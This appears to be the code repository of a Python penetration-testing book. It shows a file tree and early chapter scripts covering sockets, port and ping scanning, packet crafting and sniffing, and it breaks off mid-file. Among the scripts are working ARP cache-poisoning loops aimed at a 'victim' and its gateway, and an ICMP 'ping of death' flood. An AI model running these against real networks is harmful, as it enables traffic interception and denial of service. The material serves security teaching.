├── .gitattributes ├── License ├── Module 1 ├── Chapter 10 │ ├── multi_process.py │ └── multi_threaded.py ├── Chapter 2 │ ├── hostdetails.py │ └── publicip.py ├── Chapter 3 │ ├── ifacesdetails.py │ ├── nmap_scannner.py │ └── ssh_login.py ├── Chapter 4 │ ├── smtp_vrfy.py │ └── username_generator.py ├── Chapter 5 │ ├── msfrpc.rc │ └── msfrpc_smb.py ├── Chapter 6 │ ├── dirtester.py │ ├── headrequest.py │ ├── httplib2_brute.py │ └── request_brute.py ├── Chapter 7 │ ├── banner_grabber.py │ ├── rfinetcatexecute.php │ ├── rfipayloadexecute.php │ ├── rfiping.php │ ├── rfiuseradd.php │ ├── tcpdump.sh │ └── tftp_download.py ├── Chapter 8 │ ├── ftp_exploit.py │ ├── mp3_exploit.py │ ├── tcp_exploit.py │ ├── udp_exploit.py │ └── wrapper_exploit.py ├── Chapter 9 │ ├── nmap_doc_generator.py │ └── nmap_parser.py ├── LICENSE.md ├── README.md └── setup.sh ├── Module 2 ├── Chapter 1 │ └── first chapter _programs │ │ ├── clientside │ │ ├── client1.py │ │ ├── client3.py.py │ │ └── udp2.py │ │ ├── connect_ex.py │ │ ├── getadd1.py │ │ ├── server1.py │ │ ├── server2.py │ │ ├── server3.py │ │ ├── udp1.py │ │ ├── udptime1.py │ │ └── udptime2.py ├── Chapter 2 │ └── Programs │ │ ├── iptcpscan.py │ │ ├── iptcpscan_t.py │ │ ├── iptcpscan_t_l.py │ │ ├── mohit.raj │ │ ├── ping_sweep.py │ │ ├── ping_sweep_th.py │ │ ├── ping_sweep_th_l.py │ │ ├── portsc14.py │ │ └── updatec.py ├── Chapter 3 │ └── Chapter 3 │ │ ├── ack.py │ │ ├── arpsp.py │ │ ├── client side │ │ └── unstruc.py │ │ ├── eth.py │ │ ├── fin.py │ │ ├── halfopen.py │ │ ├── netdiss.py │ │ ├── pingofd.py │ │ ├── sniffer1.py │ │ ├── str1.py │ │ └── struct1.py ├── Chapter 4 │ └── Chapter 4 │ │ ├── deauth.py │ │ ├── first_ssid_sniffer.py │ │ ├── mac_d.py │ │ ├── mac_flood.py │ │ ├── probe_req.py │ │ ├── scapy_ssid.py │ │ └── ssid.py ├── Chapter 5 │ └── Programs │ │ ├── banner.py │ │ ├── div.py │ │ ├── header.py │ │ ├── info.py │ │ ├── par3.py │ │ └── whois.py ├── Chapter 6 │ └── Programs │ │ ├── DDOS_detect1.py │ │ ├── mimp.py │ │ ├── parameter temp.py │ │ ├── simp.py │ │ └── sisp.py └── Chapter 7 │ ├── Python program files │ ├── mohit.raj │ └── mohit.xss │ ├── comment.sql │ ├── comment_xss_web │ ├── Screenshot.png │ ├── comm.html │ ├── comm.html~ │ ├── connect.php │ ├── connect.php~ │ ├── dis.php │ ├── dis.php~ │ ├── disp.php~ │ ├── hack.html~ │ ├── in.html │ ├── index (another copy).php │ ├── index (copy).php │ ├── index.php │ ├── index.php~ │ ├── login.php │ ├── mmm.php~ │ ├── movies.html │ ├── movies.html~ │ ├── new.html │ ├── submit (copy).php │ ├── submit.php │ ├── submit.php~ │ ├── upload │ │ ├── new.html │ │ ├── upload.php │ │ ├── upload.php~ │ │ └── upload_file.php~ │ └── wel.jpg │ ├── data_handler.py │ ├── htm_sql_web │ ├── Chap10_Eg01.html~ │ ├── Welcome to Facebook - Log In, Sign Up or Learn More_files │ │ ├── 851558_160351450817973_1678868765_n.png │ │ ├── 851565_602269956474188_918638970_n.png │ │ ├── 851585_216271631855613_2121533625_n.png │ │ ├── BPIOtBFaNNP.js │ │ ├── DHqcHvznmxi.js │ │ ├── DIRB97fDvPv.js │ │ ├── Dp4ZyEUChD-.css │ │ ├── GsNJNwuI-UM.gif │ │ ├── NEfdYpfy3BJ.js │ │ ├── QM9Ch6kMle9.js │ │ ├── aPGRKdTiwOZ.css │ │ ├── b9A6iGH4Mhb.js │ │ ├── dVDIw5SgUkG.js │ │ ├── fsstOybDL_F.css │ │ ├── hH060TR7d7-.js │ │ ├── sD_-OUjPR3s.js │ │ ├── uI_8airZaGr.js │ │ ├── vGXdh-QRY8J.js │ │ ├── wDeFc95XQ9B.css │ │ └── x3bsMJyVkPp.css │ ├── adds │ │ ├── Thumbs.db │ │ ├── add1_detail.jpg │ │ ├── add1_thumb.jpg │ │ ├── add2_detail.jpg │ │ ├── add2_thumb.jpg │ │ ├── add3_detail.jpg │ │ ├── add3_thumb.jpg │ │ ├── add4_detail.jpg │ │ └── add4_thumb.jpg │ ├── addtocart.php │ ├── admin.php~ │ ├── admin │ │ ├── addCategory.php │ │ ├── addProduct-withoutAJAX.php │ │ ├── addProduct.php │ │ ├── deleteProduct.php │ │ ├── editProduct.php │ │ ├── getCategoryList.php │ │ ├── index-old20-12-11.php │ │ ├── index.php │ │ ├── leftmenu-old30-12-11.php │ │ ├── leftmenu.php │ │ ├── logout.php │ │ ├── maincontent.php │ │ ├── styles │ │ │ └── admin.css │ │ ├── viewCategory.php │ │ ├── viewProducts-old10-01-12.php │ │ └── viewProducts.php │ ├── ajax │ │ ├── ajax.php │ │ ├── ajax2.php │ │ ├── ajaxresponse.php │ │ ├── gethint.php │ │ └── jquery │ │ │ ├── fade.php │ │ │ ├── fadeout.php │ │ │ ├── fadeto.php │ │ │ ├── jq1.php │ │ │ ├── jq_ajax.php │ │ │ ├── js │ │ │ └── jquery-1.5.1.js │ │ │ ├── sjq.html │ │ │ ├── slideToggle.php │ │ │ └── testFile.txt │ ├── auth.php~ │ ├── bar.php │ ├── basics │ │ ├── Abstract.php │ │ ├── Clone.php │ │ ├── Error.php │ │ ├── Exception.php │ │ ├── FileProgramming.php │ │ ├── File_uploading.php │ │ ├── Inheritance.php │ │ ├── REGEX.php │ │ ├── Reflection.php │ │ ├── Strings.php │ │ ├── admins.csv │ │ ├── contacts.csv │ │ ├── counter.txt │ │ ├── customException.php │ │ ├── form.php │ │ ├── forms_GET.php │ │ ├── forms_POST.php │ │ ├── multipleException.php │ │ ├── testFile.txt │ │ └── uploaded │ │ │ ├── golden.gif │ │ │ ├── green.gif │ │ │ └── red.gif │ ├── cancelReturn.php │ ├── check.php~ │ ├── checkOut.php │ ├── classes │ │ ├── Cart.php │ │ ├── Category.php │ │ ├── Pagination.php │ │ ├── Product.php │ │ └── Template.php │ ├── comm.html │ ├── comm.html~ │ ├── config.php │ ├── config.php~ │ ├── confirmCheckout.php │ ├── cong.php~ │ ├── connect.php~ │ ├── datastore.php │ ├── db │ │ ├── 20111230.sql │ │ └── 20120110.sql │ ├── dis.php~ │ ├── disp.php~ │ ├── display.php~ │ ├── edit.php~ │ ├── editabout.php~ │ ├── editabout1.php~ │ ├── editdate.php~ │ ├── editdate1.php~ │ ├── editmail.php~ │ ├── editname.php~ │ ├── editname1.php~ │ ├── emptycart.php │ ├── formpage.html~ │ ├── hack.html │ ├── home (copy).php~ │ ├── home.php~ │ ├── home1.php~ │ ├── images │ │ ├── Extra │ │ │ ├── Thumbs.db │ │ │ ├── menuActive.jpg │ │ │ ├── menu_bg.png │ │ │ ├── menu_bgx.jpg │ │ │ ├── menu_bgxx.jpg │ │ │ └── menu_hvrxxx.jpg │ │ ├── Thumbs.db │ │ ├── footer_bg.jpg │ │ ├── menu_bg.jpg │ │ ├── menu_hvr.jpg │ │ └── menu_hvr.psd │ ├── include │ │ ├── adds.php │ │ ├── footerMenu.php │ │ └── headerMenu.php │ ├── index.php │ ├── index.php~ │ ├── ins.html~ │ ├── ins.php~ │ ├── inse.php~ │ ├── insert.php~ │ ├── inst.php~ │ ├── login.php~ │ ├── logout.php~ │ ├── mainContents.php │ ├── mmm.php~ │ ├── paypallReturn.php │ ├── process.php~ │ ├── reg.php~ │ ├── register.php~ │ ├── register2.php~ │ ├── removeItem.php │ ├── somepage.php~ │ ├── style │ │ └── php90.css │ ├── submit.php~ │ ├── testimages │ │ ├── AddToCart.gif │ │ ├── FeaturedProducts.jpg │ │ ├── FeaturedProducts1.jpg │ │ ├── NewsBanner.jpg │ │ ├── Thumbs.db │ │ ├── backgrounds │ │ │ ├── Thumbs.db │ │ │ ├── black_brown.jpg │ │ │ ├── prem_top_bg1.jpg │ │ │ ├── rew_un_top1.jpg │ │ │ ├── round.png │ │ │ ├── rs_logo_deko_big.png │ │ │ ├── st_top_fl4.gif │ │ │ ├── top_green.png │ │ │ ├── top_green_2.gif │ │ │ └── white-background-home-top.jpg │ │ ├── computer │ │ │ ├── Acer-Aspire-5336.jpg │ │ │ ├── Acer-Extensa-5620.jpg │ │ │ ├── Asus-1015.jpg │ │ │ ├── Dell-380 MT.jpg │ │ │ ├── Dell-4700C.gif │ │ │ ├── Dell-Inspiron-15R-N5010.jpg │ │ │ ├── Dell-XPS-One.gif │ │ │ ├── Dell.jpg │ │ │ ├── Dell_GX270.jpg │ │ │ ├── Dell_Studio_17.gif │ │ │ ├── HP-9100.jpg │ │ │ ├── HP-Pavilion-DV6.jpg │ │ │ ├── HP-Pavilion.gif │ │ │ ├── Lenovo-30113HU.jpg │ │ │ ├── Lenovo-C315.jpg │ │ │ ├── Lenovo-Essential.jpg │ │ │ ├── Lenovo-IdeaCenter-A700.jpg │ │ │ ├── Lenovo-IdeaPad-U260.jpg │ │ │ ├── Lenovo-IdeaPad-Y560.jpg │ │ │ ├── Lenovo-M58.jpg │ │ │ ├── Lenovo-ThinkCentre-A57.jpg │ │ │ ├── Lenovo-Thinkpad-X100E.jpg │ │ │ ├── Lenovo-W700.jpg │ │ │ ├── Lenovo_G450.gif │ │ │ ├── Sony_Vaio_FW260J.gif │ │ │ ├── Thumbs.db │ │ │ ├── acer.jpg │ │ │ ├── asus.jpg │ │ │ ├── hp.png │ │ │ ├── hp_dx2000.jpg │ │ │ └── lenovo.gif │ │ ├── dod.gif │ │ ├── dod1.jpg │ │ ├── electronics │ │ │ ├── HDTV.jpg │ │ │ ├── HomeTheater.jpg │ │ │ ├── Samsung-Home-Theater-HT.gif │ │ │ ├── Sony-Bravia-KDL-52EX700.jpg │ │ │ ├── Sony-HT-SF2300.gif │ │ │ ├── Sony-XBR60LX900.jpg │ │ │ ├── Thumbs.db │ │ │ └── sony.jpg │ │ ├── footerbg.png │ │ ├── headerbg.png │ │ ├── hot_deals.png │ │ ├── hot_deals1.jpg │ │ ├── mobile │ │ │ ├── Nokia-5800-XpressMusic.jpg │ │ │ ├── Nokia-C7.jpg │ │ │ ├── Nokia-E71.gif │ │ │ ├── Nokia-N900.jpg │ │ │ ├── Nokia_N8.jpg │ │ │ ├── SE-C901.jpg │ │ │ ├── SE-Vivaz-Pro.jpg │ │ │ ├── SE-W995.jpg │ │ │ ├── SE-Zylo.jpg │ │ │ ├── SE_Aino.jpg │ │ │ ├── SE_Aino_U10i_Big.jpg │ │ │ ├── SE_Xperia_10.jpg │ │ │ ├── Samsung-Galaxy-S.jpg │ │ │ ├── Samsung-Wave.jpg │ │ │ ├── Thumbs.db │ │ │ ├── apple-iphone.jpg │ │ │ ├── iPhone-3G.jpg │ │ │ ├── iPhone-3GS.jpg │ │ │ ├── iPhone-4.jpg │ │ │ ├── nokia.jpg │ │ │ ├── samsung.png │ │ │ └── sonyericsson.jpg │ │ ├── music │ │ │ ├── Apple-iPod.jpg │ │ │ ├── Coby-MP-705-1GB.jpg │ │ │ ├── Sony-NWZ-E345-16-GB.jpg │ │ │ ├── Thumbs.db │ │ │ ├── iPod-Nano.jpg │ │ │ ├── iPod-Shuffle.jpg │ │ │ ├── iPod-Touch.jpg │ │ │ └── mp3player.jpg │ │ ├── networking │ │ │ ├── Belkin-Network-Cable-15M.png │ │ │ ├── Cisco-1811WAGBK9-RF.jpg │ │ │ ├── Linksys-WRT55AG-Wireless.gif │ │ │ ├── NetworkCable.jpg │ │ │ ├── NetworkRouter.jpg │ │ │ └── Thumbs.db │ │ ├── sos_logo.png │ │ ├── storeAd1.jpg │ │ ├── storeAd2.jpg │ │ ├── storeAd3.gif │ │ ├── storeAd4.jpg │ │ ├── storeBanner1.jpg │ │ ├── storeBanner2.jpg │ │ ├── storeBanner3.jpg │ │ ├── storeBanner4.jpg │ │ └── storeBanner5.jpg │ ├── updateBasket.php │ ├── verify.php~ │ └── viewCart.php │ ├── login1.py │ ├── sql_form6.py │ ├── sql_form7.py │ ├── xss.py │ ├── xss_data_handler.py │ └── xss_list.py ├── Module 3 ├── Chapter 1 │ ├── 1_shodan_info_gathering.py │ ├── 2_google_search_API.py │ ├── 3_google_profile_pics.py │ ├── 4_google_additional_results.py │ ├── 5_screenshots.py │ ├── 6_screenshot_by_port.py │ ├── 7_screenshot_by_port_threaded.py │ ├── 8_spidering_websites.py │ └── screenshot.py ├── Chapter 2 │ ├── URL-regex.txt │ ├── basicname.py │ ├── brutepasswords.py │ ├── bruteusernames.py │ ├── commentfinder.py │ ├── filebrute.py │ ├── scapypingsweep.py │ ├── scapyportscan.py │ └── usernamecheck.py ├── Chapter 3 │ ├── DirectoryTraversal.py │ ├── Fuzzer.py │ ├── Headerxss.py │ ├── Shellshocker.py │ ├── URL-XSS.py │ ├── XSSFinder.py │ └── jschecker.py ├── Chapter 4 │ ├── Subs.py │ ├── Timer.py │ ├── blindsql.py │ ├── booleanSQL.py │ └── urlsqli.py ├── Chapter 5 │ ├── basic_auth.py │ ├── clickjack.py │ ├── cookies.py │ ├── headers_enum.py │ ├── insecure_headers.py │ ├── send_cookies.py │ └── user_agent.py ├── Chapter 6 │ ├── StegoFull.py │ ├── StegoText.py │ ├── imgurClient.py │ └── imgurServer.py ├── Chapter 7 │ ├── All.py │ ├── Atbash.py │ ├── Base 64 encode.py │ ├── Bcrypt.py │ ├── KeyReuse.py │ ├── LCG-brute.py │ ├── MD5 crack.py │ ├── MD5.py │ ├── Real Example.py │ └── Sub.py ├── Chapter 8 │ ├── FTPExfil.py │ ├── HttpExfil.py │ ├── Netcat.py │ ├── TwitterDecode.py │ ├── TwitterExfil.py │ ├── data.php │ └── simpleHTTPExfil.py ├── Chapter 9 │ ├── bs2.py │ ├── bs3.py │ ├── maltegodef.py │ ├── nmapparser.py │ ├── pcapparse.py │ └── sslscanparser.py └── Read Me.txt ├── ReadMe.txt └── Readme.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /License: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Packt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Module 1/Chapter 5/msfrpc.rc: -------------------------------------------------------------------------------- 1 | load msgrpc Pass=msfrpcpassword 2 | -------------------------------------------------------------------------------- /Module 1/README.md: -------------------------------------------------------------------------------- 1 | Before using any of these code snippets you should run the setup.sh file. 2 | Once that is complete you will be able to use the scripts without issue. 3 | All code here is provided to showcase ways you can link methods of 4 | exploiting systems with scripts and to fill voids those industry standard tools 5 | do not provide. Many new professionals ask, why are there no tools that do 6 | these simple tasks. The answer is simple, why does a whole tool need to be 7 | created for simple task that are unique, but time consuming to a particular environment. 8 | I hope you enjoy this book and the scripts provided as much as I have writing it. 9 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/clientside/client1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3 | host = "192.168.0.1" 4 | port =12345 5 | s.connect((host,port)) 6 | print s.recv(1024) 7 | 8 | s.send("Hello Server") 9 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/clientside/client3.py.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12345 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.connect((host, port)) 6 | buf = bytearray("-" * 30) # buffer created 7 | print "Number of Bytes ",s.recv_into(buf) 8 | print buf 9 | s.close -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/clientside/udp2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12346 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | print s.sendto("hello all",(host,port)) 6 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/connect_ex.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | rmip ='127.0.0.1' 4 | portlist = [22,23,80,912,135,445,20] 5 | 6 | for port in portlist: 7 | sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) 8 | result = sock.connect_ex((rmip,port)) 9 | print port,":", result 10 | sock.close() 11 | 12 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/getadd1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | def get_protnumber(prefix): 3 | return dict( (getattr(socket, a), a) 4 | for a in dir(socket) 5 | if a.startswith(prefix)) 6 | 7 | proto_fam = get_protnumber('AF_') 8 | types = get_protnumber('SOCK_') 9 | protocols = get_protnumber('IPPROTO_') 10 | 11 | for res in socket.getaddrinfo('www.thapar.edu', 'http'): 12 | 13 | family, socktype, proto, canonname, sockaddr = res 14 | 15 | print 'Family :', proto_fam[family] 16 | print 'Type :', types[socktype] 17 | print 'Protocol :', protocols[proto] 18 | print 'Canonical name:', canonname 19 | print 'Socket address:', sockaddr 20 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/server1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" #Server address 3 | port = 12345 #Port of Server 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host,port)) #bind server 6 | s.listen(2) 7 | conn, addr = s.accept() 8 | print addr, "Now Connected" 9 | conn.send("Thank you for connecting") 10 | conn.close() 11 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/server2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12345 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host,port)) 6 | s.listen(2) 7 | while True: 8 | conn, addr = s.accept() 9 | print addr, "Now Connected" 10 | conn.send("Thank you for connecting") 11 | conn.close() 12 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/server3.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12345 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.bind((host, port)) 6 | s.listen(1) 7 | conn, addr = s.accept() 8 | print "connected by", addr 9 | conn.send("Thanks") 10 | conn.close() 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/udp1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12346 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | s.bind((host,port)) 6 | data, addr = s.recvfrom(1024) 7 | print "recevied from ",addr 8 | print "obtained ", data 9 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/udptime1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12346 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | s.bind((host,port)) 6 | s.settimeout(5) 7 | data, addr = s.recvfrom(1024) 8 | print "recevied from ",addr 9 | print "obtained ", data 10 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 1/first chapter _programs/udptime2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | host = "192.168.0.1" 3 | port = 12346 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | try: 6 | 7 | s.bind((host,port)) 8 | s.settimeout(5) 9 | data, addr = s.recvfrom(1024) 10 | print "recevied from ",addr 11 | print "obtained ", data 12 | s.close() 13 | 14 | except socket.timeout : 15 | print "Client not connected" 16 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 2/Programs/iptcpscan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from datetime import datetime 3 | net= raw_input("Enter the IP address ") 4 | net1= net.split('.') 5 | a = '.' 6 | net2 = net1[0]+a+net1[1]+a+net1[2]+a 7 | st1 = int(raw_input("Enter the Starting Number ")) 8 | en1 = int(raw_input("Enter the Last Number ")) 9 | en1=en1+1 10 | t1= datetime.now() 11 | def scan(addr): 12 | sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) 13 | socket.setdefaulttimeout(1) 14 | result = sock.connect_ex((addr,445)) 15 | if result==0: 16 | return 1 17 | else : 18 | return 0 19 | 20 | def run1(): 21 | for ip in xrange(st1,en1): 22 | addr = net2+str(ip) 23 | if (scan(addr)): 24 | print addr , "is live" 25 | 26 | run1() 27 | t2= datetime.now() 28 | total =t2-t1 29 | print "scanning complete in " , total -------------------------------------------------------------------------------- /Module 2/Chapter 2/Programs/mohit.raj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 2/Programs/mohit.raj -------------------------------------------------------------------------------- /Module 2/Chapter 2/Programs/ping_sweep.py: -------------------------------------------------------------------------------- 1 | import os 2 | import platform 3 | from datetime import datetime 4 | net = raw_input("Enter the Network Address ") 5 | net1= net.split('.') 6 | a = '.' 7 | net2 = net1[0]+a+net1[1]+a+net1[2]+a 8 | st1 = int(raw_input("Enter the Starting Number ")) 9 | en1 = int(raw_input("Enter the Last Number ")) 10 | en1=en1+1 11 | oper = platform.system() 12 | 13 | if (oper=="Windows"): 14 | ping1 = "ping -n 1 " 15 | elif (oper== "Linux"): 16 | ping1 = "ping -c 1 " 17 | else : 18 | ping1 = "ping -c 1 " 19 | t1= datetime.now() 20 | print "Scanning in Progress" 21 | for ip in xrange(st1,en1): 22 | addr = net2+str(ip) 23 | comm = ping1+addr 24 | response = os.popen(comm) 25 | for line in response.readlines(): 26 | if(line.count("TTL")): 27 | break 28 | if (line.count("TTL")): 29 | print addr, "--> Live" 30 | 31 | t2= datetime.now() 32 | total =t2-t1 33 | print "scanning complete in " , total -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/ack.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") 3 | sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345) 4 | packet = ip1/sy1 5 | p =sr1(packet) 6 | p.show() 7 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/arpsp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 5 | s.bind(("eth0",socket.htons(0x0800))) 6 | 7 | sor = '\x00\x0c\x29\x4f\x8e\x35' 8 | 9 | victmac ='\x00\x0C\x29\x2E\x84\x7A' 10 | 11 | gatemac = '\x00\x50\x56\xC0\x00\x08' 12 | code ='\x08\x06' 13 | eth1 = victmac+sor+code #for victim 14 | eth2 = gatemac+sor+code # for gateway 15 | 16 | htype = '\x00\x01' 17 | protype = '\x08\x00' 18 | hsize = '\x06' 19 | psize = '\x04' 20 | opcode = '\x00\x02' 21 | 22 | gate_ip = '192.168.0.1' 23 | victim_ip = '192.168.0.11' 24 | gip = socket.inet_aton ( gate_ip ) 25 | vip = socket.inet_aton ( victim_ip ) 26 | 27 | arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip 28 | arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip 29 | 30 | 31 | while 1: 32 | s.send(arp_victim) 33 | s.send(arp_gateway) 34 | 35 | 36 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/client side/unstruc.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | host = "192.168.0.1" 5 | port =12347 6 | s.connect((host,port)) 7 | msg= s.recv(1024) 8 | print msg 9 | print struct.unpack('hhl',msg) 10 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/eth.py: -------------------------------------------------------------------------------- 1 | import socket 2 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 3 | s.bind(("eth0",socket.ntohs(0x0800))) 4 | 5 | sor = '\x00\x0c\x29\x4f\x8e\x35' 6 | 7 | des ='\x00\x0C\x29\x2E\x84\x7A' 8 | code ='\x08\x00' 9 | eth = des+sor+code 10 | s.send(eth) 11 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/fin.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") 3 | sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345) 4 | packet = ip1/sy1 5 | p =sr1(packet) 6 | p.show() 7 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/halfopen.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.10", dst ="192.168.0.11" ) 3 | tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) 4 | packet = ip1/tcp1 5 | p =sr1(packet, inter=1) 6 | p.show() 7 | 8 | rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347) 9 | packet1=ip1/rs1 10 | p1 = sr1(packet1) 11 | p1.show 12 | 13 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/netdiss.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import binascii 3 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 4 | s.bind(("eth0",socket.htons(0x0800))) 5 | 6 | def mach(mac): 7 | a = '\\x' 8 | mac1= mac.replace(':',a) 9 | mac2= a+mac1 10 | return mac2 11 | 12 | sor = '\x48\x41\x43\x4b\x45\x52' 13 | 14 | 15 | vic1 = raw_input("Enter the Victim MAC ") 16 | victmac = mach(vic1) 17 | print victmac 18 | 19 | gate1 = raw_input("Enter the gateway MAC ") 20 | gatemac = mach(gate1) 21 | print gatemac 22 | code ='\x08\x06' 23 | eth1 = victmac+sor+code #for victim 24 | eth2 = gatemac+sor+code # for gateway 25 | 26 | htype = '\x00\x01' 27 | protype = '\x08\x00' 28 | hsize = '\x06' 29 | psize = '\x04' 30 | opcode = '\x00\x02' 31 | 32 | 33 | gate_ip = '192.168.0.1' 34 | victim_ip = '192.168.0.11' 35 | gip = socket.inet_aton ( gate_ip ) 36 | 37 | vip = socket.inet_aton ( victim_ip ) 38 | 39 | 40 | arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip 41 | arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip 42 | 43 | 44 | while 1: 45 | s.send(arp_victim) 46 | s.send(arp_gateway) 47 | 48 | 49 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/pingofd.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | ip1 = IP(src="192.168.0.99", dst ="192.168.0.11") 3 | 4 | packet = ip1/ICMP()/("m"*60000) 5 | send(packet) 6 | i=0 7 | while i<20 : 8 | send(packet) 9 | i = i+1 10 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/sniffer1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | while True: 6 | 7 | pkt = s.recvfrom(2048) 8 | ethhead = pkt[0][0:14] 9 | print pkt[0] 10 | eth = struct.unpack("!6s6s2s",ethhead) 11 | print "--------Ethernet Frame--------" 12 | print "desination mac",binascii.hexlify(eth[0]) 13 | print "Source mac",binascii.hexlify(eth[1]) 14 | binascii.hexlify(eth[2]) 15 | 16 | ipheader = pkt[0][14:34] 17 | ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) 18 | print "-----------IP------------------" 19 | print "TTL :", ip_hdr[1] 20 | print "Source IP", socket.inet_ntoa(ip_hdr[3]) 21 | print "Destination IP", socket.inet_ntoa(ip_hdr[4]) 22 | print "---------TCP----------" 23 | tcpheader = pkt[0][34:54] 24 | #tcp_hdr = struct.unpack("!HH16s",tcpheader) 25 | tcp_hdr = 